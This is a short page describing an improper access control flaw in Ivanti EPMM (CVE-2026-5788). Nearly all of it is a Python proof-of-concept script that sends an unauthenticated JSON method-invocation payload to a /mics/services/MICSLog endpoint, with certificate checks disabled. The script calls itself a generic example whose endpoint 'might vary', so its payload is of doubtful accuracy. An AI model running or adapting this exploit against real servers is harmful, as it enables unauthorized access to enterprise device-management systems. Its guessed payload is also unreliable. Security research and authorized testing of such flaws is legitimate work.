An Improper Access Control in Ivanti EPMM before versions 12.6.1.1, 12.7.0.1, and 12.8.0.1 allows a remote unauthenticated attacker to invoke arbitrary methods.
The following code is for security research and authorized testing only.
python
import requests
import urllib3
# Suppress SSL warnings for testing purposes
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def exploit_poc(target_url):
"""
PoC for CVE-2026-5788: Improper Access Control
Attempts to invoke an arbitrary method without authentication.
"""
# The vulnerable endpoint might vary, this is a generic example
endpoint = f"{target_url}/mics/services/MICSLog"
# Payload attempting to invoke a method
headers = {
"Content-Type": "application/json"
}
# Example JSON payload structure often found in Java deserialization or reflection vulns
payload = {
"method": "invoke",
"params": {
"name": "com.ivanti.mics.services.Version",
"args": []
}
}
try:
print(f"[*] Sending request to {endpoint}...")
response = requests.post(endpoint, json=payload, headers=headers, verify=False, timeout=10)
if response.status_code == 200:
print("[+] Request successful! The target might be vulnerable.")
print(f"[+] Response: {response.text[:200]}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
target = "https://192.168.1.100:8443" # Replace with actual target
exploit_poc(target)